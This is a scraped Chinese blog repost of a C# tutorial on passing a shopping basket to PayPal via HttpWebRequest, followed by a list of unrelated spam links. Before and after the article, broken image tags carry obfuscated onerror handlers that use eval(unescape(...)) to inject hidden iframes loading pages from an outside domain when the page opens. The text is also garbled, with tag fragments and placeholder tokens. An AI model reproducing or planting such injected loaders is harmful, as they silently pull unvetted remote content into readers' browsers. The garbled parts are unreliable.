paypal支付方案- Bank Card - carnivorous - 和讯博客
paypal支付方案
[转贴 2010-04-29 09:12:27]
paypal支付方案
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
存在许多种使用电子业务方式接收支付的方法。下面列出几种:
· 在线商店实际上并不仅仅是一个在线目录,顾客往往还必须能够电话联系到你以便进行订购。
· 类似上面这种情形,除非你亲自找到顾客来完成整个交易。如果这是有关一些建筑方面的工作(例如一个院子或一个厨房),并且在实地考察之后你需要当场向他们提出一个报价,那么这可能很重要。
· 使用一种内置安全的支付方法。通过这种方法,顾客能够输入他们的信用卡细节并且可以由系统自动处理交易。
· 使用例如PayPal、Worldpay或DebiTech等一种外部支付方法。
本文中的演示商店基于一种旧式风格的使用PayPal接收支付的方法。它应该与其它外部支付系统(例如稍经修改的WorldPay)结合在一起工作。我们之所以说是"旧式风格"是因为,现在的PayPal一般都提供其自己的.net工具包-实现它们自己的连接到它们的站点的系统。
整个收集购物篮数据并把它转移到PayPal的系统都是在shopBasketCheckout_OnServerClick()函数内实现的:
protected void shopBasketCheckout_OnServerClick(object source,EventArgs e)
{
string postData = "";
postData += "currency_code=GBP";
postData += "&cmd=_cart";
postData += "&business=youremailaddress@yourdomain.net";
postData += "&upload=1";
postData += "&cancel_return=www.davidmillington.net";
DataTable dtBasket = getBasketDt();
double total = 0.00;
for(int i = 0; i < dtBasket.Rows.Count; i++)
{
postData += "&item_name_" + (i + 1) + "=" +
dtBasket.Rows
["name"];
postData += "&quantity_" + (i + 1) + "=" +
dtBasket.Rows
["quantity"];
postData += "&amount_" + (i + 1) + "=" +
Convert.ToDouble(dtBasket.Rows
["price"]);
total += (Convert.ToDouble(dtBasket.Rows
["price"]) * Convert.ToInt32(dtBasket.Rows
["quantity"]));
if(i == dtBasket.Rows.Count - 1)
{
postData += "&shipping_" + (i + 1) + "=" + calcDeliveryCost(total);
}
else
{
postData += "&shipping_" + (i + 1) + "=0.00";
}
postData += "&shipping2_" + (i + 1) + "=0.00";
postData += "&handling_" + (i + 1) + "=0.00";
}
postData += "&handling=" + calcDeliveryCost(total);
byte[] data = Encoding.ASCII.GetBytes(postData);
HttpWebRequest ppRequest = (HttpWebRequest)
WebRequest.Create("https://www.paypal.com/cgi-bin/webscr");;
ppRequest.Method = "POST";
ppRequest.ContentType = "application/x-www-form-
urlencoded";
ppRequest.ContentLength = data.Length;
//发送
Stream ppStream = ppRequest.GetRequestStream();
ppStream.Write(data, 0, data.Length);
ppStream.Close();
//接收
HttpWebResponse ppResponse = (HttpWebResponse)ppRequest.GetResponse();
StreamReader sr = new StreamReader(ppResponse.GetResponseStream());
string strResult = sr.ReadToEnd();
sr.Close();
//输出到屏幕
Response.Clear();
Response.Write(strResult);
Response.End();
}
因为看起来没有一种办法使一个C#应用程序实现寄送并重定向到另一个站点(就象你通常使用一个<form > action属性所实现的那样),所以我们必须采用一种稍微不同的方法。我们构建了一个long型字符串,它包含多个名/值对,然后使用HttpWebRequest和HttpWebResponse对象来从支付服务中来回发送与接收数据。
该函数的{dy}部分指定PayPal帐户细节,例如使用的货币,帐户名以及PayPal应该把顾客返回的页面(如果他们决定取消该交易的话)。
下一步是遍历购物篮并且检索所有我们想传递到PayPal的产品信息。这包括产品名称、数量和价格。由于该演示程序的特点,我们在运送费用方面稍微施加了一点技巧并且把整个运送费用添加到购物篮中{zh1}一件产品上而不是添加到每一件产品。这是因为我们仅基于购物篮的总价求出总的运送费用,而不是基于任何产品种类。
现在,我们来讨论有趣的部分。我承认,这是我通过Google引擎查询的结果。首先我们创建一个Request对象,当我们经由一个Stream联系到PayPal时使用它。我们使用一个Response对象来接收该响应并简单地把它通过Response.Write()输出到屏幕。这可以把整个购物篮信息输送到PayPal站点并把它导向正确的帐户。
现在的问题是,顾客到达的{dy}个页面在相应的地址栏内仍然有你的商店地址。如果他们点击该PayPal站点的任何链接,例如观看购物篮内容或进行登录的话,那么该地址应该相应地改变以反映它确实是PayPal。你可能意识到,有些人可能会被误解,因为这样的事实-他们仍然能够在地址栏中看到你的商店的地址并且甚至可能认为你在试图骗取他们的PayPal或银行帐户细节。如果你正在计划经由一个外部系统例如PayPal或WorldPay来实现支付,那么你应该检查它们的开发者站点来看一下他们推荐的.net方案是什么。
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
郑重声明:资讯 【paypal支付方案- Bank Card - carnivorous - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【
在线投诉
】,我们审核后将会尽快处理。
——
相关资讯
——
热烈欢迎中山市长昊磨具麿料有限公司加入我会!
2021/12/20
大连长海臭氧xx设备_大连臭氧xx设备-大连怡禾环保(查看)_大连臭氧xx设备_大连臭氧xx设备价格-大连怡禾环保(欢迎进入
2019/5/11
太原三工激光压力传感器替代人工调阻机可靠性高
2018/2/14
PE/PET双组分熔喷非织造布生产线厂家
2018/2/14
鹤岗倒锅模具平底锅模具
2018/2/14
郑州惠济区路由器/打印机维修/笔记本维修
2017/1/3
番禺南村做包皮手术哪家医院正规
2015/10/30
无缝管存放的技巧
2010/2/8
采光板的材料组成及新特性
2010/7/2
rivertburr皮衣怎么样?
2014/11/25
蕾迪丝沙发怎么样
2014/12/15
喝盐水能xx吗
2015/3/12
宁夏野生黑枸杞价格【必读】
2015/3/18
前额掉头发的原因
2015/3/18
xxxxx米诺地尔
2015/3/25
143室
2010/2/11
2月23日宁波市场造船板价格行情-钢材超市网
2010/2/26
服装设计师_____岩然_新浪博客
2010/4/12
我家的燃气热水器漏水- 『 家电空间』 - 家电科学论坛家电科学购买随身 ...
2010/4/13
杭州到成都货运公司:货运专线价格情况
2016/5/27